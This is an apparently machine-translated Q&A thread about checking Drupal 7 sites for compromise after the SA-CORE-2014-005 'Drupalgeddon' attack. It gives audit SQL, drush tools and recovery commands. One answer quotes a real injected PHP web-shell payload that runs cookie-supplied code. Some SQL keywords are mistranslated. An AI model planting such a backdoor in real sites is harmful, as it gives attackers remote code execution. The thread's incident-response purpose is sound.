Drupal SA-CORE-2014-005 - Làm thế nào để biết máy chủ / trang web của tôi có bị xâm nhập không?


40

Tôi vừa cập nhật tất cả các trang web của mình bằng phương pháp vá để giải quyết khai thác Drupal SA-CORE-2014-005. Tôi vừa đọc báo cáo rằng mới hôm qua có một người nào đó từ một trang web drupal IP của Nga xâm nhập.

https://www.drupal.org/SA-CORE-2014-005

Mối quan tâm chính của tôi bây giờ là:

  • Làm thế nào để tôi biết nếu các trang web của tôi đã được bao gồm?
  • Tôi nên tìm kiếm gì trong nhật ký truy cập apache để phát hiện xem trang web của mình có phải là nạn nhân hay không?
  • Cho đến nay những tin tặc này đang làm gì với các trang web bao gồm?

7
Hiện tại có một mô-đun cho drupal.org/project/drupalgeddon
mikeytown2

Điều gì xảy ra nếu tôi không có thiết lập bí danh cho 100 trang web drupal? một số hack phổ biến mà bạn tìm thấy để chúng tôi biết phải grep để làm gì?
Patoshi パ ト


1
@duckx Kiểm tra mã trong mô-đun drupalgeddon và bạn sẽ tìm thấy những bản hack phổ biến đó; chúng tôi không thể liệt kê mọi thay đổi có thể mà người dùng độc hại có thể thực hiện với quyền truy cập đầy đủ vào cơ sở dữ liệu, vì những lý do rõ ràng. Họ có thể thực hiện bất kỳ thay đổi nào mà người dùng Drupal mysql có quyền thực hiện, đó là loại điểm. Vì vậy, theo nghĩa đen, cách duy nhất để chắc chắn là so sánh cơ sở dữ liệu hiện tại của bạn với một phiên bản tốt đã biết. Nếu bạn đang tìm kiếm một nút để đẩy nó một cách đáng tin cậy, chính xác 100%, hãy cho bạn biết liệu trang web của bạn có bị xâm phạm hay không, bạn đang mơ tôi sợ :)
Clive

Ducky: nếu bạn không thiết lập bí danh và bạn có 100 trang web, việc thiết lập bí danh sẽ dễ dàng hơn so với xử lý chúng theo cách thủ công? Nhận cho mình một danh sách các gốc và URL của trang web và bạn có thể biến nó thành một tập các bí danh từ đó.
Chris Burgess

Câu trả lời:


6

Dưới đây là một số truy vấn SQL có thể được chạy trên DB của trang web của bạn để kiểm tra người dùng có quyền quản trị viên và những truy vấn nào đã truy cập vào trang web vào ngày 15 tháng 10.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005


1
Xin chào và chào mừng đến với câu trả lời của Drupal. Bạn có thể cải thiện câu trả lời của mình bằng cách cung cấp một bản tóm tắt nhỏ của trang được cung cấp.
Wtower

Btw, nên kiểm tra người dùng được tạo sau ngày 15 tháng 10. Điều này sử dụng createdtrường từ bảng người dùng. Không đảm bảo rằng người đã chèn SQL sẽ tôn trọng giá trị của trường, điều này làm cho kiểm tra này không hoàn toàn hữu ích. Thật vậy, điều này đã xảy ra với tôi rằng việc tiêm người dùng thông thường theo tên drupaldevđược cho là đã được tạo ra cách đây 44 tuần. Theo như khuyến nghị thứ hai, một lần nữa, không đảm bảo rằng người dùng được tiêm sẽ thực sự đăng nhập.
Wtower

29

Nếu bạn đang đọc bài viết này và hy vọng kiểm tra trang web Drupal 7 hơn một tháng sau khi khai thác hạ cánh, trang web của bạn rất có thể đã bị hack . Đặt cược tốt nhất của bạn là khôi phục bản sao lưu từ trước khi các cuộc tấn công bắt đầu và hoạt động từ đó.

Có một Câu hỏi thường gặp về SA-CORE-2014-005 .

Làm cách nào để biết trang web của tôi đã bị xâm nhập?

Một cách để nhanh chóng kiểm tra xem các trang web có bị xâm nhập hay không là bằng lệnh drush Drupalgeddon.

Cài đặt cho bạn ~/.drushvớidrush dl drupalgeddon

Sau đó sử dụng drush drupalgeddon-testđể kiểm tra. Bí danh Drush làm cho điều này dễ dàng và nhanh chóng.

Công cụ này có thể xác nhận một trang web bị khai thác, nhưng nó không thể đảm bảo trang web của bạn không bị khai thác. Không có "dự luật sức khỏe sạch" ở đây trừ khi bạn nâng cấp trước khi các cuộc tấn công bắt đầu.


Mô-đun Kiểm toán Trang web bao gồm một số kiểm tra từ Drupalgeddon và cũng cung cấp cho bạn nhiều thông tin hữu ích hơn. Tôi khuyên bạn nên nó. (EDIT: Bây giờ họ làm việc cùng nhau - siêu đẹp!)


Đánh giá bảo mật không kiểm tra các cuộc tấn công Drupalgeddon nhưng cũng đáng để có trong kho công cụ của bạn.


Nếu cơ sở mã trang web của bạn có thể ghi được cho người dùng www, bạn cũng có thể kiểm tra mã sửa đổi bằng cách sử dụng mô-đun bị hack. Mô-đun này có thể không làm những gì bạn nghĩ chỉ dựa trên tên của nó :)


Mặc dù không có một cách nhất định nào để xác định tất cả các trang web bị xâm nhập, những công cụ này có thể giúp bạn xác định các chỉ dẫn phổ biến nhất.


Tôi nên tìm kiếm gì trong nhật ký truy cập apache để phát hiện xem trang web của mình có phải là nạn nhân hay không?

Nhật ký truy cập của bạn sẽ chứa rất nhiều yêu cầu POST. Trừ khi bạn đã thực hiện bước bất thường là ghi nhật ký tất cả dữ liệu trước khi xảy ra lỗi, nếu không bạn sẽ không có thông tin để biết thông tin nào trong số này là độc hại.

Cho đến nay những tin tặc này đang làm gì để các trang web bị xâm nhập?

Nhiều người đang báo cáo rằng các trang web của họ đang bị tin tặc vá! Là một kẻ tấn công, điều này có ý nghĩa tốt - bạn không muốn trang web mới bị tấn công của mình bị tấn công từ bên dưới bạn bởi kẻ tấn công tiếp theo :)

Ngoài ra, tôi đoán các trang web đang được sử dụng để thu thập bất kỳ dữ liệu có giá trị nào (có thể lấy một số tín dụng, có thể nâng chi tiết giao dịch sau khi khai thác) và làm những việc nhàm chán như gửi thư rác và làm việc như những nô lệ botnet khiêm tốn. Ồ, và tiếp tục mở rộng đế chế của kẻ tấn công các trang web Drupal bị tấn công. (Xin lỗi, tôi không có bất kỳ trang web bị tấn công nào để quan sát.)


Bạn có thể làm rõ? Bất kỳ cuộc tấn công nào sẽ luôn bắt đầu với một yêu cầu POST? Tôi đang kiểm tra nhật ký của mình cho bất kỳ BÀI ĐĂNG nào. Đã phát hiện một từ IP 62.76.191.119 sau khi tôi vá.
Lance Holland

Tôi đã có một trang web là nạn nhân của việc khai thác này và dường như những kẻ tấn công đã sử dụng nó để gửi hàng tấn thư rác từ máy chủ.
Cyclonecode

24

Một số kiểm tra cho các cuộc tấn công phổ biến là (đây không phải là một danh sách đầy đủ, nhưng là một số cuộc tấn công được thấy trong tự nhiên cho đến nay):

  • Kiểm tra tài khoản người dùng 1 của bạn để đảm bảo tên người dùng, địa chỉ email hoặc mật khẩu của tài khoản đó là những gì bạn mong đợi. Đồng thời kiểm tra bất kỳ tài khoản người dùng nào khác có mức cấp phép cao nếu có thể.
  • Kiểm tra tài khoản người dùng mới có vẻ đáng ngờ.
  • Kiểm tra các thay đổi đối với các vai trò trên hệ thống của bạn, ví dụ như bất kỳ vai trò mới hoặc vai trò nào được đổi tên.
  • Kiểm tra thay đổi quyền. Khía cạnh quan trọng nhất của điều này là đảm bảo rằng vai trò người dùng ẩn danh (hoặc các vai trò khác mà bất kỳ ai có thể tự đăng ký để nhận) không bị thay đổi để cung cấp cho họ quyền truy cập tăng lên.
  • Kiểm tra các khối tùy chỉnh mới có thể chứa mã độc.
  • Kiểm tra các nút tùy chỉnh mới có thể chứa mã độc.
  • Kiểm tra các tệp trên hệ thống tệp của bạn không nên ở đó. Điều này thật dễ dàng nếu bạn sử dụng kiểm soát phiên bản vì bạn có thể thực hiện trạng thái git hoặc svn st để xem có tệp mới nào ở đó không.
  • Nếu họ đã tải lên các tệp độc hại thì bạn có thể kiểm tra nhật ký truy cập của mình để xem các lần truy cập vào tên tệp lạ mà bạn không quen thuộc.
  • Kiểm tra bảng cơ sở dữ liệu bộ định tuyến trình đơn của bạn cho các mục độc hại. Ví dụ: (mô-đun drupalgeddon / plugin drush trên drupal.org có một kịch bản tốt để kiểm tra bảng này kỹ hơn):

    CHỌN * TỪ menu_router WHERE access_callback = 'file_put_contents';

  • Bạn cũng có thể chỉ cần duyệt bảng bộ định tuyến trình đơn của bạn cho các mục tìm kiếm lạ.

Một số điều mà tin tặc đang cố gắng làm là:

  • Đặt các tập tin php script trên trang web của bạn để chúng có thể chạy bằng cách nhấn chúng trong trình duyệt. Các kịch bản này có thể làm một loạt các điều độc hại. Điều này đạt được thông qua việc thêm các mục bộ định tuyến trình đơn độc hại.
  • Tạo tài khoản người dùng quản trị để họ sử dụng để làm những điều xấu cho trang web của bạn hoặc chiếm lấy trang web của bạn.
  • Thay đổi địa chỉ email người dùng 1 để họ có thể đặt lại mật khẩu cho tài khoản đó và tiếp quản nó.
  • Thay đổi quyền trên vai trò người dùng có thể truy cập công khai.
  • Thêm khối / nút / vv. có thể chứa mã độc. Nếu bạn có bộ lọc PHP được kích hoạt thì điều này thậm chí còn nhiều vấn đề hơn.

Thật không may, có rất nhiều điều mà kẻ tấn công có thể làm với cơ sở dữ liệu của bạn đến nỗi thật khó để đưa ra một danh sách đầy đủ các khả năng. Họ có thể làm những việc cố gắng để họ kiểm soát trang web của bạn hoặc họ chỉ có thể phá vỡ trang web của bạn nhưng bỏ các bảng hoặc cột cơ sở dữ liệu, v.v.

Họ thậm chí có thể thực hiện những thay đổi rất nhỏ đối với cấu hình trang web, như thay đổi tên trang web của bạn hoặc một cái gì đó tương tự, đó không phải là kết thúc của thế giới nhưng vẫn còn có vấn đề.

Về cơ bản, bất cứ điều gì bạn có thể làm trong cơ sở dữ liệu của mình bằng cách chạy lệnh SQL, về mặt lý thuyết kẻ tấn công có thể làm.

Tất cả các mô-đun được đề cập trong câu trả lời của Chris Burgess đều rất hữu ích trong việc kiểm tra những điều này.


1
Bạn phải bị tấn công bởi 62.76.191.119. Thông thường, có vẻ như IP này đang cố gắng đặt một tệp trong docroot của bạn thông qua menu_router và có thể những thứ khó chịu khác vào DB của bạn. bạn có thể đọc các bình luận tại drupal.org/node/2357241 .
scor

Tôi chưa từng bị ảnh hưởng bởi các cuộc điều tra về các trang web của tôi cho đến nay. Đây chỉ là thông tin để giúp OP.
rooby

Làm thế nào tôi sẽ đi về "Kiểm tra bảng cơ sở dữ liệu bộ định tuyến trình đơn của bạn cho các mục độc hại:"? tôi trên một máy chủ centos và tôi có root.
Patoshi パ ト

Bạn có thể chạy lệnh cơ sở dữ liệu "CHỌN * TỪ menu_router" và sau đó duyệt qua tất cả chúng để kiểm tra các hàng trông không đúng chỗ. Ngoài ra còn có một lệnh cụ thể hơn được đề cập trong câu trả lời của tôi là tìm kiếm một cuộc tấn công cụ thể đã biết và được sử dụng để tải tệp lên máy chủ của bạn.
rooby

IP 62.76.191.119 đó cố gắng khai thác lỗ hổng của các trang web của tôi trong vòng một ngày sau khi cập nhật bảo mật được phát hành. Tôi đã cấm tất cả các trang web của tôi. Tôi đã rất may mắn khi tôi nâng cấp trang web của mình đúng thời gian. Điều đó thật kỳ lạ bởi vì nó đã đánh các trang web của tôi theo thứ tự chữ cái.
cayerdis

10

Tôi nghĩ rằng tôi sẽ đi theo lời khuyên drupal.org " Bạn nên tiến hành theo giả định rằng mọi trang web Drupal 7 đều bị xâm phạm trừ khi được cập nhật hoặc vá trước ngày 15 tháng 10, 11 giờ tối UTC, tức là 7 giờ sau thông báo .". Như Bevan đã nói trong bình luận này "Cập nhật hoặc vá Drupal không sửa lỗi backtime mà kẻ tấn công đã cài đặt trước khi cập nhật hoặc vá Drupal."

Bevan cũng đã lập biểu đồ quy trình làm việc sau đây để giúp bạn phân tích xem bạn có thể đã bị nhiễm hay không và cách phục hồi cũng như phòng ngừa . Tuy nhiên, anh ấy yêu cầu mọi người đi đến bài viết gốc của mình để đảm bảo bạn có phiên bản mới nhất của quy trình làm việc. Ngoài ra, Acquia thực hiện một bài viết thú vị về các cuộc tấn công và mô hình mà họ đã trải nghiệm trong Acquia Cloud

 lưu đồ để hiểu nếu bạn dễ bị tổn thương, nếu bạn có thể đã bị nhiễm bệnh và cách phục hồi


4

Trích dẫn từ: https://www.drupal.org/node/2357241#comment-9258955

Đây là một ví dụ về tệp được chèn vào cột access_allter bảng access_callback:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Như bạn có thể thấy nó đang cố gắng tạo các mô-đun tệp / image / vzoh.php nhưng vì tôi chỉ đọc các quyền trong các thư mục mà php không thành công.

Báo cáo về những người tìm thấy các tệp tương tự được tạo khi thực hiện tìm kiếm trong thư mục drupal của bạn: https://www.drupal.org/node/2357241#comment-9260017


Những gì tôi đã làm là thực hiện lệnh sau:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

==================

Trích dẫn từ: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Hiển thị các tệp đã thay đổi trên máy chủ trực tiếp: trạng thái git

Tìm kiếm các nỗ lực thực thi mã thông qua menu_router: select * từ menu_router trong đó access_callback = 'file_put_contents'

Hiển thị tập tin nào trên máy chủ trực tiếp và không có trong kiểm soát phiên bản: diff -r docroot repo | grep docroot | grep 'Chỉ trong docroot'

Tìm tập tin PHP trong thư mục tập tin: find. -path "* php"

Kiểm tra lượng thời gian giữa khi người dùng đăng nhập vào trang web của bạn và lần truy cập trang gần đây nhất của họ: select (s.timestamp - u.login) / 60/60/24 AS days_since_login, u.uid từ phiên người dùng tham gia bên trong của bạn s.uid = u.uid;


3

Một danh sách rất tốt các lệnh để cho biết nếu bạn đã bị bắt buộc.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

1
Thay vì đưa ra câu trả lời riêng biệt, có lẽ bạn nên chỉnh sửa câu đầu tiên và thêm thông tin bổ sung?
Cyclonecode

0

Bạn có thể kiểm tra xem trang web của bạn đã bị hack bằng công cụ trực tuyến này chưa:

Kiểm tra Drupal: EngineHack

Rõ ràng nó có những hạn chế, nhưng đó là một điểm khởi đầu tốt.

Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.